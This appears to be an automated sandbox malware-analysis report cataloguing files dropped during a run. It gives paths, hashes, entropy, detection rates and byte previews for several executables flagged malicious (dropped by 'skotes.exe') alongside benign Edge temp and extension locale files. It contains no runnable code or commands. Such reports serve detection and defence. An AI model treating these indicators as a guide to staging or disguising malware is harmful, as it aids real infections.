SSDEEP:	98304:EpV5Jqck+qK7KoT5xLCC7iC60BU3rYArSG4sKREDkly4PWKl0U6BgJrXq:EX5AcqzctiC+UwSG4tRIGyqWKl0U6BsT
MD5:	791373B49F4EE813CD3B2869A62D5E86
SHA1:	1231EF136F9D806EDC7202E44E81BD35D05526E8
SHA-256:	FF7DC25CE280C034E4038D4EBC20560904CEEF62C9ADA19631C8F4A42183C98D
SHA-512:	8321138D61D3FEC4B6E45BA45C0B3965A8A9D20F79E4956C1D8C97C815B6D9FC76AE8B8861475016D1AED8397C7D321A8AF4B63AB88CF9A45576B131D9AC8C27
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2...P........J...@...................................D...@... ............................._.q.s...........................4?...............................>...................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... .@:...q.......'.............@...ozbvvmja.....P........'.............@...ydmfclot.....@.......\|D.............@....taggant.0...P..."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0b420182-10b6-4c8e-91ae-b259981b278c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4497920
Entropy (8bit):	7.985212179813059
Encrypted:	false
SSDEEP:	98304:EpV5Jqck+qK7KoT5xLCC7iC60BU3rYArSG4sKREDkly4PWKl0U6BgJrXq:EX5AcqzctiC+UwSG4tRIGyqWKl0U6BsT
MD5:	791373B49F4EE813CD3B2869A62D5E86
SHA1:	1231EF136F9D806EDC7202E44E81BD35D05526E8
SHA-256:	FF7DC25CE280C034E4038D4EBC20560904CEEF62C9ADA19631C8F4A42183C98D
SHA-512:	8321138D61D3FEC4B6E45BA45C0B3965A8A9D20F79E4956C1D8C97C815B6D9FC76AE8B8861475016D1AED8397C7D321A8AF4B63AB88CF9A45576B131D9AC8C27
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2...P........J...@...................................D...@... ............................._.q.s...........................4?...............................>...................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... .@:...q.......'.............@...ozbvvmja.....P........'.............@...ydmfclot.....@.......\|D.............@....taggant.0...P..."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008388001\c9b8a5fd06.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1589248
Entropy (8bit):	7.956748361301705
Encrypted:	false
SSDEEP:	24576:KWQzFLkdZ65CbbNJrL7OKMoURREaJ8hzANoQKgllK/e9Vx/ZWLVeQpTJamR:KfzBk0o9qpJ8NA5Kgy/eFZ8VJdz
MD5:	19E1995F133E43244BB5CCF1F908A836
SHA1:	64B9C108FF0777ADE3A472FD6202F26D7B5BE1D0
SHA-256:	C77576774CA1CBE04DD8C9D6BFB9A293174959A2555211081AC119B02A201AD3
SHA-512:	983D19FB1029FE0FBF45E86889CE1BEEFFC6BE6F5556056C09E599A9F24E42E809BBD31C49EAC767444AAEEBE63932BC2A9AF6CE520E1BE0FD3C600B902BEBEE
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g..............................H...........@.......................... I.....eJ....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..)..........v..............@...ilmuiwjp.....0/......x..............@...isxtwavb......H.....................@....taggant.0....H.."..."..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2a83c715-6af2-4f2e-9eeb-510784ba7aaf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:fFZ2cHkObrS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz88:fbb1UdS8scZNzFrMa4M+lKqeZ
MD5:	703D592C85D2790D89047C1614A54B4F
SHA1:	0C08F096AD544A63ACE8AA1AA738CC0B374F2A23
SHA-256:	A01513000969824FA1761DCDD77F5EE9B6FD958B4E9596522CEBC47BB69DF194
SHA-512:	D0C0F0B0A060D3DD52942556615B93971292E1F0C10555681CB6E4857E605EB2CFBACBADD263FB954D4062A63BBCCCB4B514428FDB95F6C0C94CC221B28B1ED5
Malicious:	false
Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\31664ba3-898c-49b9-9939-ad0c9e855f9f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\39182ac1-24e0-46c4-a551-971e3a18bcf4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\9adfea27-f60f-4969-8480-a9470b52513f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\a81bb214-19aa-4775-9e85-dc7962de0e13.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1531982
Entropy (8bit):	7.992448476618343
Encrypted:	true
SSDEEP:	24576:DU16bD5VTeuFNfIqd8NIpVVQY3go5JVFy9+jRpdcbNoTMSErHUtHSt0LII2X3dr5:8mD5VTJNfC24YXfVFyORPINoTMSUoS6e
MD5:	370E66B9E70469E1AF69A2BD88BBB506
SHA1:	F3D43A913D3BE0FE3710CE6078A927FF2C951DD6
SHA-256:	513C984FDFC33032653491111D189C799D56728EF3FA84BEDA3F6194CBB9103D
SHA-512:	A91C98C578477FA8F9BBF57702ACAD77C4C7D53BC9D5FE9ED74A702983A71EB1C2A7E5030992D21BC827B794F016CD6D30A70B11442D4113EB356A5E8B0B94A7
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....bKGD............./IDATX..W}l.E..3..w.+..H.\|...D.%..M.Z5.I..&.Q....W.%.P..!.&.Q.."..0...H.Z.".....>Z....A.......m.....1..........{...A........<.-a.27j..... '.A.D...kVI.B..A...}..o:/...h<..E....M2r.0.PP<j.j..e]..>lh.(..?u.....KqB.7CP..8.D.a.$.%..??.iG.=+.~..2FH...\am;}...n......h~.H...........#KvW..w;.#.dc..1.JW.2...(...nu.Q0....,..H0..1)..[....^.P..r..;.`{.d........%...6.......@.."O.+"&zSym.,.Nn..L..pj.&K.Z.....yH=..R.P?.i..Td...Sb.%o.....w..R`.sOJIjQ.>...i.v....A.CD\|bfx....).o.g.....I....6...!....<.t\|"....PO<".:/+..>1.......R.o...@.../"y.",S.@...B..h...Z...P.>.......+...:z........7,:.....\|)C.p.H+`i..e).8...zA".$:Z.o.........j]].....K:.....ZI.. ....~..&........:]...w.md./zkT.Z..F........,."7\|.\|u..3....G.../7.oJ...*...7..~l......PY.HQ>..`$........2.{.....>( I,...h..I...N.y}=..VN.R.....IH..kp.V..\|Io.+k...Eb.ES>.E2......Z.._.I .q0..0.......F.&D.(D1.Q+.M...!z9.....#xV.p....nH....7....\t.w"`F...-

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsEGIDAAFIEH.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1917952
Entropy (8bit):	7.95271520225109
Encrypted:	false
SSDEEP:	49152:A9c1CNgLCsZPUC96POCEUr+NAoS0wxY5+4W/:AfqLCIP0OpUmLS0wxY5TM
MD5:	F2D011251D3B81EE30BD85F4F705152B
SHA1:	B18485051538CAF49D226B94F882B68BCFCB7990
SHA-256:	E121118EB9676FFD4BEBCE8890B74D47DBD7051FCE8A9BC5DEA45552DCCDCF56
SHA-512:	333C96ED465EB6AB016BB9C93F08412AD03D0250E5A6DA5D28886501EB8789045F5BD2B90646CE56DDFFB9FB880469F87B634776F23BF33316E690328A065804
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@..........................0L.....F@....@.................................W...k.......H.....................K.............................p.K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...rvvxjflc.0....1..&..................@...jcggrwcz......K.....................@....taggant.0....L.."..."..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.412555222043426
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0U1MvJ5z1k40Uf:JIVuwEw5MUFZLBQLtziz6mkM
MD5:	B7BCA5ED06E75398B5A330FBA6F622FB
SHA1:	7F28C786871A8D73937AA9515CA38BCBC382076A
SHA-256:	C8251B20AAC06733F387A0A67BB4A78D307C94433922E8052DA24BD271EE2646
SHA-512:	9548BCA160354316E42A3E5A66F2F78290CE919B4B3D669D9DF2FC143DBC879879AE40951EB0C68155800974193AE6277FA9E00506CA0A2D5C6C6DF03AECB307
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\d786b3af-29be-4513-85fe-b2780f80b48c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\0b420182-10b6-4c8e-91ae-b259981b278c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
